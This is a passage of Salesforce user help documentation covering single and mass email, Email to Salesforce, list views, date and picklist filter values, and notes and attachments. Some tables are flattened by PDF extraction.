Save Address to add the email address to the record without sending the email.
259
Save Address and Send to add the email address to the record and send the email.
See Also:
Guidelines on Sending Email
Email Fields
Sending Mass Email
Tracking HTML Email
Working with Case Emails
What is a Person Account?
Testing Deliverability
Tips
If bounce management is activated and the email bounces, Salesforce displays an error message. Click the link in the error
message to update the email address and optionally send the email to the updated address.
You can send emails related to any record, as long as you have access to view or edit the record.
Notes
An attachment is sent as a link if its total size is 3 MB or more or if it is sent using mass email. When recipients click the
attachment link in the email, the attachment opens in a separate Web browser, and they can download the file. Attachments
sent as links are stored for 30 days.
Attachments aren't stored on emails sent from Salesforce. To be saved with the email, attachments must be either associated
with the email later or sent to Salesforce using using Email-to-Case, Email-to-Salesforce, On-Demand Email-to-Case,
or Salesforce for Outlook.
Emails sent via the Send an Email button are listed in the Activity History list of the related records. The Activity History
item is titled Email: Subject. You can click the email subject to view the body of the email.
Emails sent from the Email related list of a case are saved in the Email related list. This functionality is only available for
organizations with Email-to-Case or On-Demand Email-to-Case enabled.
If your page layout or field-level security settings prevent you from viewing a field, that field won't be available for email
templates. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)
See Also:
Sending Email
Sending Mass Email
260
If you're configured to receive email notifications for mass emails, you'll see an auto-generated status email from Salesforce
for each mass email you send. The subject line of the status email contains the value you entered in the Mass Email Name
field when sending the mass email.
The status message shows the number of recipients that the mass email was both addressed and sent to. These numbers may
differ because:
The mass email would cause your organization to exceed its daily mass email limit. Salesforce does not send the message
to any of the intended recipients in this case.
One or more selected recipients opted out of receiving mass email after the mass email was scheduled but before it was
processed.
One or more selected recipient email addresses were removed from the contact or lead after the mass email was scheduled
but before it was processed.
The user who sent the mass email was deactivated after the mass email was scheduled but before it was processed. Salesforce
does not send mass emails scheduled by a user who is deactivated.
To turn on the notification option, click Your Name > Setup > Email Administration > Deliverability, and select Notify
sender when mass email completes.
See Also:
Guidelines on Sending Mass Email
Configuring Deliverability Settings
261
"Mass Email"
"Mass Email"
AND
"Manage Users"
"Mass Email"
AND
"Edit Tasks"
To send mass email to contacts or person accounts, click Mass Email Contacts in the Tools section at the bottom of
the Contacts or Cases tabs. If your organization uses person accounts, the link is also in the Tools section at the bottom
of the Accounts tab.
To send mass email to leads, click Mass Email Leads in the Tools section at the bottom of the Leads tab.
To send mass email to users, click Your Name > Setup > Manage Users > Mass Email Users. This link is available
to administrators and users with the Manage Users permission.
2. Select a list view of recipients and click Go!. By default, the My Contacts, My Leads, Active Users, or My Cases views
include all records of that type with an email address. To change the list of recipients, create a new custom view. See
Creating Custom List Views on page 272.
Contacts, leads, or person accounts that have the Email Opt Out field selected or do not have an email address are not
included in any email list views. Person accounts are included in contact list views.
3. All recipients in the list view are selected by default. Remove recipients who shouldn't receive the mass email by deselecting
them or using the top checkbox in the list view to select or deselect all of the recipients listed on the page.
4. Click Next.
5. Choose an email template.
Note: You cant send a mass email using a Visualforce email template.
262
6. Optionally, click the Preview links to view the templates. In the email template preview window, the template displays
with any merge fields included, such as {!Account.AccountNumber}. When you send your email, data from the
recipients' records, or any applicable substitute text, is inserted into the email in place of those merge fields.
7. Click Next.
8. On the confirmation page, select from the available Processing Options:
The Activity History item is associated with the contact, lead, or person account and displays as Mass Email:<Template
Description>. The email subject, body, and attachments are not stored in the Activity History item. To log Activity
History items, you must have access to view or edit the records in the recipient list and have the Edit Task permission.
Use my signature
Optionally, include your email signature in this mass email. This option applies to text emails only.
Enter a name you can use to identify this mass email in the mass email queue. See Monitoring the Mass Email Queue
on page 919 for more information.
Note: The mass email name only appears in the mass email queue and status messages you receive from
Salesforce. Salesforce doesn't add the mass email name to the mass email you're sending.
See Also:
Guidelines on Sending Mass Email
Mass Email Status Messages
Email Fields
Field-Level Security Overview
What is a Person Account?
263
Tips
You can send mass email to a total of 1,000 external email addresses per day per organization based on Greenwich Mean
Time (GMT). The maximum number of external addresses you can include in each mass email depends on the Edition
of Salesforce you are using:
Edition
Professional
250
Enterprise Edition
500
Unlimited Edition
1,000
Before you send a mass email, create a custom view of contacts, leads, person accounts, or cases without an email address.
In the search criteria, choose Email equals, and leave the third field blank. You can then update those records before
sending your emails. Unfortunately, there is no way to validate an email address without sending an actual email message.
If your template contains a merge field for which there is no data in a particular record, that field does not appear in the
email you send. To find such blank fields, modify your recipient list view to search for the merge fields you are using in
your template, and enter the criterion <field> equals, leaving the third field blank. Edit those records that have blank
fields before you send your emails.
You can send a mass email to a recipient list that consists of contacts, leads, person accounts, or users you can view in
Salesforce.
Notes
If the email deliverability option Notify sender when mass email completes is selected, you receive an
auto-generated status email from Salesforce for each mass email you send. The subject line of the status email contains the
value you entered in the Mass Email Name field when sending the mass email.
Attachments in mass emails are sent as links rather than as physical files. When recipients click the attachment link in the
email, the attachment opens in a separate Web browser, and they can download the file. Attachments sent as links are
stored for 30 days.
264
Email Fields
Limitations
Mass email can only be sent to an address in a standard email field. Mass email using a custom email field is not supported.
If a standard email field is hidden by field-level security, the Mass Email links for contacts and leads don't appear.
Email templates give you access only to the fields that are accessible to you via your page layout and field-level security
settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)
You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request.
See Also:
Sending Mass Email
Mass Email Status Messages
Configuring Deliverability Settings
Email Fields
Available in: All Editions
A Salesforce outbound email has the following fields, listed in alphabetical order.
Field
Description
Attachment
List of the attached files. The maximum total size of all email
attachments is 10 MB.
BCC
Body
CC
From
Related To
265
Field
Description
Signature
Your personalized tag line. Set your signature via Email > My
Email Settings in the Personal Setup area. It is automatically
appended to individual emails. You can choose to append it
to mass emails.
Subject
To
After sending an HTML email, you can track the date it was first opened, the number of times it was opened, and the date
it was most recently opened.
Detail pages for contacts, leads, and person accounts include an HTML Email Status related list. Each email you send to a
person or mass distribution list is listed, including the date the email was sent, first opened, last opened, and the total number
of times it was opened by all users (multiple openings by the same user are counted). This list also includes automatic emails
such as those sent through Web-to-Lead and Web-to-Case response rules.
Click Send An Email to create a new message. See Sending Email on page 260 for more details on sending an email.
Click View All to view more details about all the items in the HTML Email Status related list.
Click Edit next to an email to add any notes to it.
Click Del to remove an email from the HTML Email Status related list.
Click the subject of an email to view the entire email message. If the subject is longer than 100 characters, it is truncated
with ellipses (...).
To report on the HTML email statistics listed in the HTML Email Status related list, use the HTML Email Status Report
available from the Reports tab.
Note: Add the HTML Email Status related list to your contact, lead, and person account page layouts before users
send HTML emails that they need to track.
See Also:
Customizing Activity Settings
What is a Person Account?
266
Before you can use your Email to Salesforce address, you must configure it.
1. Click Your Name > Setup > Email > My Email to Salesforce.
Tip: We recommended that you add your Email to Salesforce address to the address book of your email client for
easy retrieval.
2. In My Acceptable Email Addresses, enter any email addresses you will use to send email. Separate multiple email
addresses with commas.
Important: Your Email to Salesforce address only accepts email from addresses you list. If you do not list any
email addresses, email sent to your Email to Salesforce address will not be associated to any records.
3. Choose whether you'd like all emails to be sent to My Unresolved Items so you can manually assign them to related records
or whether you'd like us to first try to automatically assign them.
4. Configure Email to Salesforce to add emails as activities to matching opportunities, leads, contacts, or all three.
5. If you selected leads or contacts, choose how Email to Salesforce should process emails containing lead or contact information
that matches duplicate records. Email to Salesforce can add the email activity to all matching records, to the oldest duplicate
record, or to the record that has greatest number of activities.
6. If you selected leads or contacts, you can select If no matching records are found, create a task and
send it to My Unresolved Items to have the email sent to My Unresolved Items if no matching records are found.
If this checkbox isn't selected and Salesforce can't identify the To or From email addresses, the email won't be saved in
Salesforce.
7. Select Always save email attachments to save attachments on emails sent to Salesforce. The size limit for an
attached file is 5 MB when attached directly to the related list. The size limit for all files attached to an email is 10 MB.
8. Select Email me confirmation of association to receive a confirmation email when emails are successfully
associated.
9. In Excluded Domains, enter any email domains you want to exclude from automatic association. Separate multiple
email domains with commas.
10. Click Save.
See Also:
Adding Email with Email to Salesforce
267
See Also:
Setting Up Email to Salesforce
268
If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to leads, contacts,
opportunities, and other records in Salesforce. When composing, forwarding, or replying to email, simply enter your Email
to Salesforce address in the BCC field or any recipient field. Salesforce receives a copy of the email and, depending on your
configuration, adds it to either the Activity History related list of the matching records or to the My Unresolved Items page,
where you can manually assign it.
Tips
An administrator must activate Email to Salesforce for your organization. After activation, Salesforce generates a unique
Email to Salesforce address for each user. Users receive an automated email from Salesforce that contains their Email to
Salesforce address. The Email to Salesforce address can also be viewed by clicking Your Name > Setup > Email > My
Email to Salesforce. The Email to Salesforce address is automatically generated and cannot be changed.
You can also save a message as an email activity without sending or resending it to another person. Simply forward the
email with your Email to Salesforce address in the To field. Be sure that there are no other email address in the To, CC,
and BCC fields. Salesforce receives a copy of the email and searches the From, To, and CC fields in the forwarded email
for the email addresses of your leads and contacts. If any leads or contacts are found, Salesforce saves the email in the
Activity History related list on the appropriate record.
When you use Email to Salesforce to save a message as an email activity, the default task type is specified by the Send
Email Default setting. You can change the default value by editing the Task Type picklist field.
You don't need to configure Email to Salesforce to associate emails to matching records. Salesforce searches emails sent
to your Email to Salesforce address for a record ID, then looks for the record. If related records are found, Salesforce adds
the email to either the Activity History related list on those records or to the My Unresolved Items page, where you can
manually assign them.
Notes
You can use Email to Salesforce with email client applications such as IBM Lotus Notes and Microsoft Outlook, as
well as webmail such as Gmail and Yahoo! Mail.
The email addresses you use to send Email to Salesforce must be configured in the My Acceptable Email Addresses
field in the My Email to Salesforce setup page.
Email to Salesforce attempts to match the email address found in the To or CC fields with the one in the Email standard
field. It doesn't support matching on custom email fields.
The maximum number of email addresses that Email to Salesforce can match is 50. If the combined number of addresses
in the To and CC fields exceeds this limit, Email to Salesforce processes only the first 50 unique addresses in the email.
If Email to Salesforce matches an email address to multiple lead or contact records in Salesforce, you can choose to associate
the email with all matching records, the oldest record, or the record with the most activity.
If Email to Salesforce matches an email to multiple opportunity records in Salesforce, the email is included in the activity
history on all matching open records.
If you configure Email to Salesforce to associate emails to matching leads or contacts, Salesforce searches the To and CC
fields for the email addresses of your leads or contacts. If any leads or contacts are found, Salesforce saves the email to the
Activity History related list on the appropriate record.
If you configure Email to Salesforce to associate emails to matching opportunities, Salesforce searches the To and CC
fields for the email addresses of your contacts. If contacts are found, Salesforce saves the email to the Activity History
269
related list on all open opportunities, as long as the contact is assigned a contact role on the opportunity. For example, the
contact may be assigned the role of Decision Maker on an opportunity.
If you use Gmail, see Using Gmail in Salesforce on page 338 to learn about the additional Gmail features that Salesforce
offers.
Email to Salesforce can create a maximum of 50 email activities for each email it receives.
The size limit for an attached file is 5 MB when attached directly to the related list. The size limit for all files attached to
an email is 10 MB. For each matching record, all attachments sent with the email are duplicated, which affects your data
size limit. Any attachments that aren't added are listed in the confirmation email you receive from Salesforce.
Email text and HTML is automatically truncated to 32 KB.
Email to Salesforce is required to use the Add Email feature with Salesforce for Outlook. Disabling one feature will
automatically disable the other. With Salesforce for Outlook, you add emails using the Add Email and Send and Add
toolbar buttons instead of the BCC field.
See Also:
Setting Up Email to Salesforce
Adding Email with Email to Salesforce
Enabling Email to Salesforce
Google Apps Overview
Resolving Your Unassigned Emails
Edit on tasks
AND
Show Quick Create and Create on those objects
When emails are sent to Salesforce using Email to Salesforce or Salesforce for Outlook, some are automatically assigned to
related records based on your Email to Salesforce settings. The rest are added to My Unresolved Items, where you can either
assign them to related Salesforce records or confirm that you want to leave them unassigned.
270
1. Access your unresolved emails from the sidebar shortcut Unresolved Items.
2. Depending on how you want to resolve an email, choose either of these actions.
Assign to related recordsEnter a related record in one or both fields. If you need to, first select the correct record
type from the drop-down list. If you assign a lead, you can't assign additional records. Clear an entry to cancel an
assignment.
Leave unassignedClick Don't Assign. The text Unresolved Email: is removed from the subject line and the
email is assigned to you as a completed task. If the task's Status picklist includes more than one completed status,
we use the first one.
3. Click Save to save your changes. All modified items are removed from the list. You can return any time to resolve remaining
items. Clicking Cancel cancels all changes on the page. The email is added to the Activity History or Open Activities
related list of the associated records.
Tips
Unresolved emails also appear in your open task list. You can resolve an email from the email's task record by assigning it
to other Salesforce records. Assigned and completed emails are automatically removed from your unresolved emails and
open task lists.
Click next to an email to see its details.
Click Email to Salesforce Settings to view your email assignment settings.
See Also:
Guidelines on Using Email to Salesforce
My Unresolved Items Overview
Adding Email with Salesforce for Outlook
Using Gmail in Salesforce
Enabling Lookup Auto-Completion
271
List Views
LIST VIEWS
Creating Custom List Views
Available in: All Editions
You can create new list views to see a specific set of records such as contacts, documents, or campaigns. For example, create
a list view of accounts in your state, leads with a specific Lead Source, or opportunities above a particular Amount. You can
also create views of contacts, leads, users, or cases to use for mass email recipient lists.
To edit or delete any view you created, click Edit next to the View drop-down list. Administrators, and users with the Manage
Public List Views permission, can also edit or delete public views and some of the standard Salesforce views. Users without
the Manage Public List Views permission see the Clone link instead of Edit so they can clone a public or standard view.
To create a new view, click Create New View at the top of any list page or in the Views section of any tab home page. Fill in
the following:
1. Enter View Name
Enter the name to appear in the View drop-down list.
2. If you have the Customize Application permission, enter a unique name to be used by the API and managed packages.
3. Specify Filter Criteria
Filter by Owner
These options vary depending on the kind of record. In general, select All... or My... to specify the set of records
to search. There may be additional options:
272
List Views
Filter by Campaign
This option is available on the following list views:
Contacts home
Leads home
Mass email contacts
Mass email leads
Mass add campaign members wizard
Mass update campaign members wizard
If you are editing a list view that is filtered by campaign, and do not have at least read access to the campaign, you
will receive an error when attempting to save the list view.
Filter by Division
If your organization uses divisions to segment data and you have the Affected by Divisions permission, select the
division that records in the list view must match. This option is disabled if you are not searching all records.
Select --Current-- to show records in your current working division.
Filter by Additional Fields
Optionally, enter filter criteria to specify conditions that the selected items must match, for example, Lead Source
equals Web. You can also use special date values in your filter criteria.
Note: When you select the Created Date field in a list view filter, the value you specify can only be a date
and not a time. This restriction does not apply to other filters.
273
List Views
Portal. Users group or a selected set of portal groups and roles. For more information about a Customer Portal,
see Setting Up Your Customer Portal on page 1664.
6. Click Save. The view appears in the View drop-down list so you can access it later.
You can rename an existing list view and click Save As to save the criteria of the list view without altering the original
view.
To navigate back to the last list page you viewed, click Back to list at the top of any detail page.
Note: The information you see in list views is only the data to which you have accesseither records you own or have
read or read/write access to, records that have been shared to you, or records owned by or shared with users in roles
below you in the role hierarchy.
In addition, you can view only those fields that are visible in your page layout and field-level security settings. (Field-level
security is available only in Enterprise, Unlimited, and Developer Editions). Archived activities are not included in
activity list views. You can use the Activity History related list to view these activities.
Tip: On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display
a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar
to quickly create an event associated with the record. Note that your administrator controls the availability of this
feature. For more information, see Working with Drag-and-Drop Scheduling on page 162.
See Also:
Printing List Views
Creating Mobile List Views
Filtering on Special Picklist Values
Navigating Long Lists
Deleting List Views
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Tip sheet: Tips & Hints for Custom Views
Enhanced lists give you the ability to quickly view, customize, and edit list data to speed up your daily productivity. They must
first be enabled by your administrator for you to take advantage of them.
274
List Views
Navigate through the list results by clicking the first page icon (<<), Previous, Next, or the last page icon (>>) at the bottom
of the list.
Jump to a specific page of results by entering a number in the text box in the lower right corner, and then pressing Enter.
Create a new view by clicking Create New View. Edit, delete or refresh the current view by clicking Edit, Delete, or ,
respectively.
Change the number of records displayed per page. Click
in the lower left corner of the list and select the desired setting.
You can view 10, 25, 50, 100, or 200 records at a time. When you change this setting, you return to the first page of list
results.
Changing your preference for the number of records displayed per page applies to all lists in all Salesforce apps, not just
the one currently displayed. In addition, if you change your preference to 200, a message warns you of possible performance
degradation.
Change the width of a column by dragging the right side of the column heading with your mouse. Any changes you make
to column widths are specific to that list only, and are preserved when you next view the list.
If you add or remove columns from a list, any column width customizations for that list are discarded automatically.
Change the order in which a column is displayed by dragging the entire column heading with your mouse to the desired
position. If you have permission to edit the list definition, your changes are automatically saved for all users who see the
list. If you do not have permission to edit the list definition, your changes are discarded when you navigate away from the
page.
Change the number and order of columns displayed by clicking Edit next to the list drop-down in the upper left corner.
See Creating Custom List Views on page 272.
If your administrator has enabled inline editing for your organization, edit single records directly from the list by
double-clicking on individual field values. If your administrator has granted you the Mass Edit from Lists permission,
you can also edit up to 200 records at a time. See Using Inline Editing in Lists on page 276.
On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display a weekly
view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly
create an event associated with the record. Note that your administrator controls the availability of this feature. For more
information, see Working with Drag-and-Drop Scheduling on page 162.
See Also:
Using Inline Editing in Lists
Customizing User Interface Settings
Creating Custom List Views
Navigating Long Lists
275
List Views
If both inline editing and enhanced lists are enabled, you can edit records directly in a list. Editable fields display a pencil icon
( ) when you hover over the field, while non-editable fields display a lock icon ( ).
Caution: In enhanced list views, when different users make inline edits to the same fields on a record simultaneously,
records are updated with the most recent edit without a conflict error message.
To edit one record, double-click the editable value, specify a new value, and click OK.
If you have the Mass Edit from Lists permission, you can edit up to 200 records at once. To edit multiple records:
1. Select the checkbox next to each record you want to update. If you select records on multiple pages, Salesforce remembers
which records are selected.
2. Double-click one of the cells you want to edit. A dialog box displays allowing you to apply your edit to one record, or to
every record selected.
Note: You cannot edit multiple product records at once, they must be edited one at a time.
If you encounter any errors when trying to update records, a console window displays showing the name of each record in
error (if known), as well as a description of why the error occurred. Click the name of a record in the console window to open
that record's detail page in a new window. Salesforce keeps track of the records you've clicked in the error console by displaying
them in gray, strike-through text.
Note: To view the error console, pop-up blockers must be disabled for the Salesforce domain. To check if your browser
allows pop-up windows, click Your Name > Setup > My Personal Information > Reminders, and then click Preview
Reminder Alert.
Some standard fields do not support inline editing. For example, Case Status, Opportunity Stage, Opportunity
Amount, Opportunity Quantity and Lead Status, and most Task and Event fields can only be edited from a
record's edit page. For more information, see Editing Data Using Inline Editing on page 17.
If your organization uses record types, inline editing with lists is only available when all of the records in the list are of the
same record type. Therefore, you must specify a filter of Record Type equals X, where X is the name of a single
record type (or blank for the master record type).
To perform inline editing on an enhanced list, filter logic must be turned off in the list view filter criteria.
For lists of activities, you must specify an additional filter of either Task equals True (for tasks) or Task equals
False (for events) for inline editing to be available.
276
List Views
If Chatter is enabled, click Chatter on a standard or custom object list view to see a Chatter feed with updates from the last
30 days for the records included in the list view. Click List to display the list view again. You can choose a different list view
from either mode.
Click a record name to view the record, or a person's name to view their profile
Click Comment to comment on a post
Click Like to like a post
Click the timestamp of a post, for example, Yesterday at 12:57 AM, to see that post in the feed of its associated record
Click Show More to see older posts
You can only view Chatter feeds on list views for objects enabled for feed tracking
If drag-and-drop scheduling on list views is enabled, you won't see Chatter feeds on the list views for accounts, contacts,
or leads
See Also:
Using Chatter
Using Chatter Feeds
Note: Your administrator can enable and disable printable list views.
277
List Views
You can print list views for the following kinds of records:
Accounts
Activities
Campaigns
Cases
Contacts
Contracts
Custom objects
Documents
Leads
Opportunities
Permission sets
Price books
Profiles
Products
Reports
Solutions
See Also:
Creating Custom List Views
Many list pages in Salesforce include the following tools for managing a large amount of data:
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.
278
List Views
To edit or delete any view you created, select it from the View drop-down list and click Edit.
At the top of a list, click a letter to show items that correspond to that letter, or click Other to show items whose names
begin with numbers or symbols. Click All to display all items that match the criteria of the current view.
To sort list view items by the data in a particular column, click that columns heading. This sorts text data alphabetically
and numerical data in ascending order. Dates are sorted with the most recent date first. To reverse the sort order, click the
column heading a second time.
Note: You can sort by any custom field except multi-select picklists.
Click the Previous Page or Next Page link to go to the previous or next set of items in the current view.
At the bottom of a list, click the fewer or more link to decrease or increase the number of items per page.
In some related lists with many items, the following links are available:
Click Show [number] more to increase the number of items in the list.
Click Go to list to display a secondary page of the entire related list.
See Also:
Creating Custom List Views
Viewing Profile Lists
To delete one of your custom views, select the view from the drop-down list and click the Edit link. At the top of the page,
click the Delete button. If you are an administrator or a user with the Manage Public List Views permission, you can also
delete shared views as well as some standard views.
See Also:
Creating Custom List Views
Navigating Long Lists
279
List Views
When you use a date field such as Create Date or Last Update Date to filter for a range of dates, use one or more of
the special date values to specify the range.
When you create a list view that includes a filter for a range of dates, use one or more of the special date values provided to
specify the range.
For example, to create a custom view or report of accounts created last week, enter Create Date equals LAST WEEK. For
special date values with variables (such as NEXT N DAYS), substitute N with any number greater than zero.
Date values are not case-sensitive. You can use LAST WEEK or last week.
You can use multiple range values in a single field, separated by commas.
Note: For Enterprise, Unlimited, Professional, and Developer Editions, the week is defined by the Locale drop-down
list in your personal information settings at Your Name > Setup > My Personal Information > Personal Information.
For Contact Manager, Group, and Personal Editions, the week is defined by the Locale setting in the company
profile at Your Name > Setup > Company Profile > Company Information. For example, when the Locale is US
English, a week runs Sunday to Saturday, whereas with UK English, a week spans Monday to Sunday.
Special Date Value
Range
YESTERDAY
Starts at 12:00:00 a.m. on the day before the current day and continues for
24 hours.
TODAY
Starts at 12:00:00 a.m. on the current day and continues for 24 hours.
TOMORROW
Starts at 12:00:00 a.m. on the day after the current day and continues for 24
hours.
LAST WEEK
Starts at 12:00:00 a.m. on the first day of the week before the current week
and continues for seven days.
THIS WEEK
Starts at 12:00:00 a.m. on the first day of the current week and continues
for seven days.
NEXT WEEK
Starts at 12:00:00 a.m. on the first day of the week after the current week
and continues for seven days.
LAST n WEEKS
Starts at 12:00:00 a.m. on the first day of the week that started n weeks
before the current week, and continues up to the current second.
NEXT n WEEKS
Starts at 12:00:00 a.m. on the first day of the week after the current week
and continues for n times seven days.
n WEEKS AGO
Starts at 12:00:00 a.m. on the first day of the week that started n weeks
before the start of the current week and continues for seven days.
LAST MONTH
Starts at 12:00:00 a.m. on the first day of the month before the current
month and continues for all the days of that month.
THIS MONTH
Starts at 12:00:00 a.m. on the first day of the current month and continues
for all the days of that month.
280
List Views
Range
NEXT n MONTHS
Starts at 12:00:00 a.m. on the first day of the month after the current month
and continues until the end of the nth month.
LAST n MONTHS
Starts at 12:00:00 a.m. on the first day of the month that started n months
before the current month and continues up to the current second.
n MONTHS AGO
Starts at 12:00:00 a.m. on the first day of the month that started n months
before the start of the current month and continues for all the days of that
month.
NEXT MONTH
Starts at 12:00:00 a.m. on the first day of the month after the current month
and continues for all the days of that month.
LAST 90 DAYS
Starts at 12:00:00 a.m. 90 days before the current day and continues up to
the current second. (The range includes today.)
NEXT 90 DAYS
Starts at 12:00:00 a.m. on the day after the current day and continues for 90
days. (The range does not include today.)
LAST n DAYS
Starts at 12:00:00 a.m. n days before the current day and continues up to
the current second. (The range includes today.)
NEXT n DAYS
Starts at 12:00:00 a.m. on the next day and continues for the next n days.
(The range does not include today.)
n DAYS AGO
Starts at 12:00:00 a.m. on the day n days before the current day and continues
for 24 hours. (The range does not include today.)
LAST QUARTER
Starts at 12:00:00 a.m. on the first day of the calendar quarter before the
current calendar quarter and continues to the end of that quarter.
THIS QUARTER
Starts at 12:00:00 a.m. on the first day of the current calendar quarter and
continues to the end of the quarter.
NEXT QUARTER
Starts at 12:00:00 a.m. on the first day of the calendar quarter after the
current calendar quarter and continues to the end of that quarter.
LAST n QUARTERS
Starts at 12:00:00 a.m. on the first day of the calendar quarter n quarters ago
and continues to the end of the calendar quarter before the current quarter.
(The range does not include the current quarter.)
NEXT n QUARTERS
Starts at 12:00:00 a.m. on the first day of the calendar quarter after the
current quarter and continues to the end of the calendar quarter n quarters
in the future. (The range does not include the current quarter.)
n QUARTERS AGO
Starts at 12:00:00 a.m. on the first day of the calendar quarter n quarters
before the current calendar quarter and continues to the end of that quarter.
LAST YEAR
Starts at 12:00:00 a.m. on January 1 of the year before the current year and
continues through the end of December 31 of that year.
THIS YEAR
Starts at 12:00:00 a.m. on January 1 of the current year and continues through
the end of December 31 of the current year.
NEXT YEAR
Starts at 12:00:00 a.m. on January 1 of the year after the current year and
continues through the end of December 31 of that year.
281
List Views
Range
n YEARS AGO
Starts at 12:00:00 a.m. on January 1 of the calendar year n years before the
current calendar year and continues through the end of December 31 of that
year.
LAST n YEARS
Starts at 12:00:00 a.m. on January 1 of the year that started n years before
the start of the current year and continues through December 31 of the
current year.
NEXT n YEARS
Starts at 12:00:00 a.m. on January 1 of the year after the current year and
continues through the end of December 31 of the nth year.
Starts at 12:00:00 a.m. on the first day of the fiscal quarter before the current
fiscal quarter and continues through the last day of that fiscal quarter. The
fiscal quarter is defined in the company profile at Your Name > Setup >
Company Profile > Fiscal Year.
Note: None of the FISCAL special date values are supported when
creating mobile custom views.
Starts at 12:00:00 a.m. on the first day of the current fiscal quarter and
continues through the end of the last day of the current fiscal quarter. The
fiscal quarter is defined in the company profile at Your Name > Setup >
Company Profile > Fiscal Year.
Starts at 12:00:00 a.m. on the first day of the fiscal quarter after the current
fiscal quarter and continues through the last day of that fiscal quarter. (The
range does not include the current quarter.) The fiscal quarter is defined in
the company profile at Your Name > Setup > Company Profile > Fiscal
Year.
Starts at 12:00:00 a.m. on the first day of the fiscal quarter n fiscal quarters
ago and continues through the end of the last day of the previous fiscal
quarter. (The range does not include the current fiscal quarter.) The fiscal
quarter is defined in the company profile at Your Name > Setup > Company
Profile > Fiscal Year.
Starts at 12:00:00 a.m. on the first day of the fiscal quarter after the current
fiscal quarter and continues through the end of the last day of the nth fiscal
quarter. (The range does not include the current fiscal quarter.) The fiscal
quarter is defined in the company profile at Your Name > Setup > Company
Profile > Fiscal Year.
Starts at 12:00:00 a.m. on the first day of the fiscal quarter n fiscal quarters
before the current fiscal quarter and continues through the end of the last
day of that fiscal quarter.
Starts at 12:00:00 a.m. on the first day of the fiscal year before the current
fiscal year and continues through the end of the last day of that fiscal year.
The fiscal year is defined in the company profile at Your Name > Setup >
Company Profile > Fiscal Year.
Starts at 12:00:00 a.m. on the first day of the current fiscal year and continues
through the end of the last day of the fiscal year. The fiscal year is defined
282
List Views
Range
in the company profile at Your Name > Setup > Company Profile > Fiscal
Year.
Starts at 12:00:00 a.m. on the first day of the fiscal year after the current
fiscal year and continues through the end of the last day of that fiscal year.
The fiscal year is defined in the company profile at Your Name > Setup >
Company Profile > Fiscal Year.
Starts at 12:00:00 a.m. on the first day of the fiscal year n fiscal years ago
and continues through the end of the last day of the fiscal year before the
current fiscal year. (The range does not include the current fiscal year.) The
fiscal year is defined in the company profile at Your Name > Setup >
Company Profile > Fiscal Year.
Starts at 12:00:00 a.m. on the first day of the fiscal year after the current
fiscal year and continues through the end of the last day of the nth fiscal
year. (The range does not include the current fiscal year.) The fiscal year is
defined in the company profile at Your Name > Setup > Company Profile
> Fiscal Year.
Starts at 12:00:00 a.m. on the first day of the fiscal year n fiscal years ago
and continues through the end of the last day of that fiscal year.
See Also:
Creating Custom List Views
Filtering on Special Picklist Values
When creating filter criteria, you can use special picklist values for your search criteria. These are special picklists with values
of either True or False.
For example, to show all opportunities you have won, enter Won equals True as your search criteria. To show all closed/lost
opportunities, enter Closed equals True and Won equals False.
Note: If you are creating filter criteria for a report or list view, the lookup icon automatically displays when you choose
to filter on one of the special picklists. Click the lookup icon to choose the value True or False. Alternatively, you
can manually enter True or False in the filter criteria.
These are the available fields and their values:
283
List Views
Value
Description
True
Account
False
True
False
True
False
True
Applies only to tasks, not events. The task has been closed,
that is, the task Status field has a Closed value.
False
True
False
False
True
False
Activity is an event.
True
False
Campaign is inactive.
True
The case is closed, that is, the case Status field has a
Closed value.
False
True
False
Partner Account
Activities: All-day
Activities: Closed
Activities: Task
Campaigns: Active
Cases: Closed
Cases: Escalated
284
List Views
Value
Description
Cases: Open
True
The case is open, that is, the case Status has a value that
is not equivalent to Closed.
False
True
False
True
False
True
False
True
False
True
False
True
The lead has not yet been viewed or edited by the owner
since it was assigned to that user.
False
True
False
True
False
The partner for the opportunity has not been marked as the
primary partner.
True
False
True
The opportunity is closed and won, that is, the Stage field
has a value of the type Closed/Won.
False
The opportunity has not been won. The Stage field may
have a value of the type Open or Closed/Lost.
Leads: Converted
(Only for reports)
Leads: Unread
Opportunities: Closed
Opportunities: Primary
(Only for Partner Opportunities report)
Opportunities: Private
Opportunities: Won
285
List Views
Value
Description
Products: Active
True
False
True
False
True
False
True
False
True
The solution has been reviewed, that is, the solution Status
field has a Reviewed value.
False
True
False
True
False
True
False
True
False
True
False
Solutions: Visible in
Self-Service Portal
Solutions: Reviewed
Users: Active
User: Is Partner
Note: The special picklists you can view are only those that are visible in your page layout and field-level security
settings. (Field-level security is available only in Enterprise, Unlimited, and Developer Editions).
See Also:
Creating Custom List Views
Special Date Values for Filter Criteria
286
You can create, view, and edit notes and add attachments from the Notes and Attachments related list on selected detail pages
such as accounts, contacts, leads, opportunities, and products. You can also add attachments from the Attachments related
list on selected detail pages such as cases, solutions, and campaigns.
If Chatter is enabled for your organization, files posted to a feed on a record are added to the record's Notes and Attachments
related list as feed attachments. You can preview (if available), download, and delete feed attachments from the Notes and
Attachments related list, but you can't edit them. You can view feed attachment details by clicking on the title of the file.
To learn the different ways files are used in Salesforce, see Differences between Files, Salesforce CRM Content, Salesforce
Knowledge, Documents, and Attachments on page 2441.
Note: If the Add Google Docs to Salesforce service is enabled in your organization, the Notes and Attachments
related list is entitled Google Docs, Notes, & Attachments, and the Attachments related list is entitled Google Docs
& Attachments.
To view the details of an attachment, click the title of the file and then select the link on the Attached File detail page.
To view the details of a feed attachment, click the title of the file.
To edit a note or the title of an attachment, click Edit and make the changes you want. You can't edit the attached file
directly and you can't edit feed attachments.
To create a new Google doc, choose New Document, New Spreadsheet, or New Presentation from the Add Google
Doc drop-down button. For more information, see Adding Google Docs to Salesforce on page 332.
To associate an existing Google doc with the Salesforce record, choose Add Existing from the Add Google Doc drop-down
button. For more information, see Editing Google Doc Links on page 335.
To edit the title or URL of a Google doc, click Edit.
To delete a Google doc from the related list, click Del. This action removes the document's association with the record
but does not delete the document in Google Apps.
To view and modify the Google doc, click View.
